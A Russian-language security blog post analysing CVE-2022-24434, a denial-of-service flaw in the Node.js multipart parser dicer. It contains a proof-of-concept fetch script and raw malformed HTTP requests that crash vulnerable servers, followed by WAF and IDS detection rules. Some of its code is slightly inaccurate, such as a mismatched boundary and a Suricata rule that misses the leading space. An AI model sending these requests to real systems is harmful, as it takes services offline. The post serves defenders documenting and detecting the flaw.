Уязвимость парсера потоковой передачи dicer
Уязвимость парсера потоковой передачи dicer
Категория: Программы Теги: Уязвимости Опубликовано: 25 сентября 2025

Уязвимость BDU:2022-04395 (CVE-2022-24434) dicer

Уязвимость BDU:2022-04395 (CVE-2022-24434) типа «отказ в обслуживании» (Denial of Service, DoS), затрагивающая все версии npm-пакета dicer, который используется для разбора данных multipart/form-data в Node.js приложениях. Уязвимость позволяет удаленному злоумышленнику вызвать отказ процесса Node.js, отправляя специально сформированные HTTP-запросы, что приводит к полной недоступности сервиса.

Анализ уязвимости

Уровень опасности: 7.5 HIGH (CVSS v3.1)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector (AV):N (Сетевой) - Уязвимость удаленно эксплуатируется через сеть

  • Attack Complexity (AC):L (Низкая) - Для атаки не требуются специальные условия

  • Privileges Required (PR):N (Не требуются) - Аутентификация не требуется

  • User Interaction (UI):N (Не требуется) - дополнительные действия от пользователя не требуются

  • Scope (S):U (Не оказывает) - Воздействие ограничено уязвимым компонентом

  • Confidentiality (C):N (Нет) - Нет угрозы конфиденциальности

  • Integrity (I):N (Нет) - Нет угрозы целостности данных

  • Availability (A):H (Высокое) - Полное нарушение доступности целевого сервиса

Условия эксплуатации уязвимости

Для успешной эксплуатации уязвимости необходимо соблюдение следующих условий:

  1. Наличие уязвимой версии dicer: Все версии пакета (≤0.3.1) являются уязвимыми.

  2. Доступ к сетевому интерфейсу: Злоумышленник должен иметь возможность отправлять HTTP-запросы на порт, где работает уязвимое приложение.

  3. Endpoint, обрабатывающий multipart/data: В приложении должен быть активен маршрут, который использует dicer для обработки данных формы (часто это endpoints загрузки файлов).

  4. Отсутствие обработчиков необработанных исключений: Если в приложении не реализована обработка uncaughtException, процесс Node.js завершится при возникновении ошибки.

Технический механизм уязвимости

Анализ кода уязвимости

Рассмотрим код уязвимости для понимания механизма эксплуатации. Проблема заключается в функции HeaderParser.prototype._parseHeader в файле lib/HeaderParser.js.

Основная уязвимость связана с использованием неинициализированной переменной h в определенных сценариях. Когда парсер обрабатывает заголовок multipart-запроса, который начинается с пробела или символа табуляции, переменная h может использоваться до ее инициализации:

HeaderParser.prototype._parseHeader = function() {
  // ... код парсера ...
  // В определенных условиях переменная h может остаться неинициализированной
  if (this.header[h][this.header[h].length - 1] !== '') {
    this.header[h][this.header[h].length - 1] += lines[i];
  } else {
    this.header[h][this.header[h].length - 1] = lines[i];
  }
  // ... продолжение кода ...
};

При обработке специально сформированного запроса с неправильно оформленным заголовком (например, начинающимся с пробела), возникает обращение к неинициализированной переменной, что приводит к исключению TypeError, которое не перехватывается внутри библиотеки.

Анализ кода эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Стандартный PoC-код демонстрирует формирование вредоносного запроса:

// Пример вредоносного запроса для эксплуатации CVE-2022-24434
const fetch = require('node-fetch');

async function exploit() {
  try {
    const response = await fetch('http://target-server:3000/upload', {
      method: 'POST',
      headers: {
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro'
      },
      body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDiro--'
    });
    console.log('Эксплойт отправлен, сервер должен аварийно завершиться');
  } catch (error) {
    console.log('Сервер недоступен - атака успешна');
  }
}

exploit();

Ключевой элемент атаки - наличие пробела в начале строки с Content-Disposition, что приводит к неправильной обработке заголовка парсером. Альтернативный вариант - использование неполного или неправильно завершенного boundary:

POST /upload HTTP/1.1
Host: vulnerable-server.com
Content-Type: multipart/form-data; boundary=malformed

--malformed
Content-Disposition: form-data; name="test"; filename="exploit.txt"
Content-Type: text/plain

payload
--malformed   # Намеренно неправильное завершение boundary

Где используется уязвимая библиотека

Dicer является зависимостью для многих популярных пакетов Node.js:

  • Busboy (ранние версии) - популярный парсер multipart-форм

  • Multer - middleware для обработки файлов в Express.js

  • Firebase Admin SDK - через зависимости более высокого уровня

  • Apollo Server - через граф зависимостей

  • Другие пакеты, связанные с обработкой файловых загрузок

Вредоносный HTTP-запрос

Пример вредоносного запроса, вызывающего срабатывание уязвимости:

POST /api/upload HTTP/1.1
Host: 192.168.1.100:3000
User-Agent: Mozilla/5.0 ( compatible)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxyz
Content-Length: 183
Connection: close

------WebKitFormBoundaryxyz
 Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

Содержимое файла
------WebKitFormBoundaryxyz--

Обратите внимание на пробел перед Content-Disposition во второй boundary-секции - это ключевой элемент, вызывающий сбой в парсере.

Возможности злоумышленника и последствия атаки

В результате успешной эксплуатации уязвимости злоумышленник может добиться следующих результатов:

  1. Полное нарушение доступности сервиса: Процесс Node.js аварийно завершается, делая сервис полностью недоступным для всех пользователей.

  2. Автоматизированная атака типа "отказ в обслуживании": Злоумышленник может настроить скрипт для непрерывной отправки вредоносных запросов, поддерживая сервис в нерабочем состоянии сколь угодно долго.

Методы защиты

1. Обновление зависимостей (рекомендуемое решение)

Поскольку для dicer не существует исправленной версии, рекомендуется перейти на альтернативные библиотеки.

2. Обработка необработанных исключений

Добавление обработчиков ошибок на уровне приложения.

3. Валидация входящих запросов

Проверка корректности Content-Type перед обработкой.

4. Правила для WAF/IPS

Для обнаружения и блокировки атак можно использовать следующие правила:

Пример правила для ModSecurity (WAF):

SecRule REQUEST_HEADERS:Content-Type "@rx multipart/form-data" \
    "id:1001,phase:1,log,msg:'Potential CVE-2022-24434 exploit attempt'"

SecRule REQUEST_BODY "@rx (?:\r\n\s+Content-Disposition|^\\s+Content-Disposition)" \
    "id:1002,phase:2,block,msg:'Malformed multipart header - CVE-2022-24434', \
    ctl:auditEngine=On,logdata:'Matched %{MATCHED_VAR}'"

SecRule REQUEST_BODY "@rx boundary=([^;]{0,20}$|[^;]{71,})" \
    "id:1003,phase:1,block,msg:'Invalid boundary length - possible exploit'"

Пример правила для Suricata (IPS):

alert http any any -> $HOME_NET any (msg:"CVE-2022-24434 - Dicer DoS attempt"; flow:established,to_server; http.method; content:"POST"; http.header; content:"Content-Type"; content:"multipart/form-data"; http.request_body; content:"|0d 0a|Content-Disposition"; depth:100; content:"|0d 0a|Content-Disposition"; within:200; classtype:web-application-attack; sid:202224434; rev:1;)

Данное правило можно найти в моём наборе правил https://alekseycheremnykh.ru/post/besplatnye-pravila-dlya-ids-suricata/

Рекомендации по размещению WAF/IPS

Для эффективного обнаружения и блокировки атак, связанных с CVE-2022-24434, WAF/IPS должны быть размещены:

  1. Перед веб-сервером/приложением: WAF должен анализировать трафик до его поступления в Node.js приложение.

  2. На границе периметра сети: Для блокировки атак из внешних сетей до достижения ими внутренних серверов.

Алексей Черемных Алексей Черемных
362